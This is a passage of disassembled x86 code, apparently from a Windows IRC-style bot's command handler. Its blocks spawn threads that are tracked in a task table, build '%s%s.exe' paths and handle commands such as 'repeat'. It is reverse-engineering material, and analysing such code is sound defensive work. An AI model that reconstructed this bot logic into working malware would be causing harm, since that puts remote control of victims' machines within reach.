		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_409862
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C040[eax], 73h
		jnz	loc_409643
		push	esi
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C258
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_4078C3
; ---------------------------------------------------------------------------


loc_4079C2:				; CODE XREF: sub_401AC7+4DF4j
					; sub_401AC7+4E0Bj
		push	edi
		call	dword_4C9344
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41BEF9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BD70
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A914
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C913
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407AA4


loc_407A8E:				; CODE XREF: sub_401AC7+5FDBj
		cmp	[ebp+var_670], ebx
		jnz	loc_403D2D
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_407A8E
; ---------------------------------------------------------------------------


loc_407AA4:				; CODE XREF: sub_401AC7+5FC5j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42AA04
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_407AB5:				; CODE XREF: sub_401AC7+4DC6j
					; sub_401AC7+4DDDj
		push	edi
		call	sub_41BEF9
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BD70
		push	[ebp+arg_0]
		call	sub_41BEF9
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	80h
		push	eax
		mov	[ebp+var_123C],	esi
		call	sub_41C100
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410D69
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407B9E


loc_407B88:				; CODE XREF: sub_401AC7+60D5j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D2D
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_407B88
; ---------------------------------------------------------------------------


loc_407B9E:				; CODE XREF: sub_401AC7+60BFj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A894
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_407BAF:				; CODE XREF: sub_401AC7+4D98j
					; sub_401AC7+4DAFj
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BD70
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41BEF9
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C08
		push	10h
		push	ebx
		push	eax
		call	sub_41C52E
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407C0E
; ---------------------------------------------------------------------------


loc_407C08:				; CODE XREF: sub_401AC7+612Bj
		mov	[ebp+var_266C],	ebx


loc_407C0E:				; CODE XREF: sub_401AC7+613Fj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407C25
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C25:				; CODE XREF: sub_401AC7+614Dj
		mov	[ebp+var_2670],	ebx


loc_407C2B:				; CODE XREF: sub_401AC7+615Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2664],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A868
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3AD
		add	esp, 28h
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_416754
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407CD9


loc_407CC3:				; CODE XREF: sub_401AC7+6210j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_4071DD
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_407CC3
; ---------------------------------------------------------------------------


loc_407CD9:				; CODE XREF: sub_401AC7+61FAj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42A828
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407CEA:				; CODE XREF: sub_401AC7+4D6Aj
					; sub_401AC7+4D81j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A7EC
		push	eax
		mov	[ebp+var_3498],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	12h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset word_4155D6
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407DC1


loc_407DAB:				; CODE XREF: sub_401AC7+62F8j
		cmp	[ebp+var_3288],	ebx
		jnz	loc_4071DD
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_407DAB
; ---------------------------------------------------------------------------


loc_407DC1:				; CODE XREF: sub_401AC7+62E2j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A7B4
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407DD2:				; CODE XREF: sub_401AC7+4C3Dj
					; sub_401AC7+4C54j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A784
		push	eax
		mov	[ebp+var_3070],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414310
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407EA9


loc_407E93:				; CODE XREF: sub_401AC7+63E0j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_4071DD
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_407E93
; ---------------------------------------------------------------------------


loc_407EA9:				; CODE XREF: sub_401AC7+63CAj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42A74C
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407EBA:				; CODE XREF: sub_401AC7+4B14j
					; sub_401AC7+4B2Bj ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A71C
		push	eax
		mov	[ebp+var_3CF0],	esi
		call	sub_41C006
		add	esp, 50h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_41359D
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407FA2


loc_407F8C:				; CODE XREF: sub_401AC7+64D9j
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_4071DD
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_407F8C
; ---------------------------------------------------------------------------


loc_407FA2:				; CODE XREF: sub_401AC7+64C3j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A6E4
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407FB3:				; CODE XREF: sub_401AC7+4AE6j
					; sub_401AC7+4AFDj
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BD70
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FFE
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_407FFE:				; CODE XREF: sub_401AC7+6523j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017E7
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40808A


loc_408074:				; CODE XREF: sub_401AC7+65C1j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406C42
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_408074
; ---------------------------------------------------------------------------


loc_40808A:				; CODE XREF: sub_401AC7+65ABj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42A678
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40809B:				; CODE XREF: sub_401AC7+4AA6j
					; sub_401AC7+4ABDj
		push	[ebp+arg_18]
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408188
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C100
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1D5C],	eax
		push	edi
		push	offset unk_42A64C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3AD
		add	esp, 38h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset dword_4139E4
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408177


loc_408165:				; CODE XREF: sub_401AC7+66AEj
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081DE
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_408165
; ---------------------------------------------------------------------------


loc_408177:				; CODE XREF: sub_401AC7+669Cj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A614
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_408188:				; CODE XREF: sub_401AC7+65E5j
		push	offset unk_42A5DC
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408192:				; CODE XREF: sub_401AC7+4A78j
					; sub_401AC7+4A8Fj
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26B0B7Eh
		test	eax, eax
		jz	short loc_4081BF
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B8
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_4081DE
; ---------------------------------------------------------------------------


loc_4081BF:				; CODE XREF: sub_401AC7+66D7j
		push	offset dword_42A5AC
		call	sub_41864A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_4081DE:				; CODE XREF: sub_401AC7+20C9j
					; sub_401AC7+2E99j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081FB:				; CODE XREF: sub_401AC7+5731j
		call	sub_409862
		add	esp, 14h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_408208:				; CODE XREF: sub_401AC7+4A4Aj
					; sub_401AC7+4A61j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408242
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408242
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_408242:				; CODE XREF: sub_401AC7+6759j
					; sub_401AC7+676Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A57C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset byte_416FFF
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4082F1


loc_4082DF:				; CODE XREF: sub_401AC7+6828j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_40830C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4082DF
; ---------------------------------------------------------------------------


loc_4082F1:				; CODE XREF: sub_401AC7+6816j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A540


loc_4082FD:				; CODE XREF: sub_401AC7+900j
					; sub_401AC7+A3Bj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40830C:				; CODE XREF: sub_401AC7+7BCj
					; sub_401AC7+927j ...
		push	1
		pop	esi
		jmp	loc_406C66
; ---------------------------------------------------------------------------


loc_408314:				; CODE XREF: sub_401AC7+4A1Cj
					; sub_401AC7+4A33j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41BEF9
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408351
		mov	[ebp+var_638], 5


loc_408351:				; CODE XREF: sub_401AC7+687Fj
		cmp	[ebp+var_C], ebx
		jz	loc_406C42
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C42
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 26603BDh
		test	eax, eax
		jnz	short loc_40839C
		push	offset unk_42A51C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40839C:				; CODE XREF: sub_401AC7+68C9j
		push	edi
		push	offset dword_42A500
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_4083A7:				; CODE XREF: sub_401AC7+49EEj
					; sub_401AC7+4A05j
		push	[ebp+arg_18]
		push	offset a1221	; "1221"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408518
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	near ptr 26B0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB6A
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C006
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_408439
		push	10h
		push	ebx
		push	eax
		call	sub_41C52E
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40843F
; ---------------------------------------------------------------------------


loc_408439:				; CODE XREF: sub_401AC7+695Cj
		mov	[ebp+var_23C4],	ebx


loc_40843F:				; CODE XREF: sub_401AC7+6970j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408456
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_40845C
; ---------------------------------------------------------------------------


loc_408456:				; CODE XREF: sub_401AC7+697Ej
		mov	[ebp+var_23C8],	ebx


loc_40845C:				; CODE XREF: sub_401AC7+698Dj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C8
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_416754
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408507


loc_4084F1:				; CODE XREF: sub_401AC7+6A3Ej
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406C42
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4084F1
; ---------------------------------------------------------------------------


loc_408507:				; CODE XREF: sub_401AC7+6A28j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42A48C
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_408518:				; CODE XREF: sub_401AC7+68F1j
		push	offset dword_42A444


loc_40851D:				; CODE XREF: sub_401AC7+2E40j
					; sub_401AC7+447Bj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_408530:				; CODE XREF: sub_401AC7+49C0j
					; sub_401AC7+49D7j
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		cmp	[ebp+var_C], ebx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	edi
		call	sub_41BEF9
		add	esp, 30h
		test	eax, eax
		jle	short loc_4085B7
		push	edi
		call	sub_41BEF9
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 268051Bh
		nop


loc_4085B7:				; CODE XREF: sub_401AC7+6ADAj
		push	offset dword_42A420
		call	sub_415CEE
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_4085CB:				; CODE XREF: sub_401AC7+4992j
					; sub_401AC7+49A9j
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41C7E0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408687
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 38h
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401AC7+6B49j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D4
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_408FA0
; ---------------------------------------------------------------------------


loc_4086A0:				; CODE XREF: sub_401AC7+4964j
					; sub_401AC7+497Bj
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3A0
		push	eax
		mov	[ebp+var_221C],	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3AD
		add	esp, 40h
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset word_414F0A
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408761


loc_40874B:				; CODE XREF: sub_401AC7+6C98j
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40884A
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40874B
; ---------------------------------------------------------------------------


loc_408761:				; CODE XREF: sub_401AC7+6C82j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A364
		jmp	loc_40883B
; ---------------------------------------------------------------------------


loc_408772:				; CODE XREF: sub_401AC7+4936j
					; sub_401AC7+494Dj
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A338
		push	eax
		mov	[ebp+var_23B0],	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3AD
		add	esp, 40h
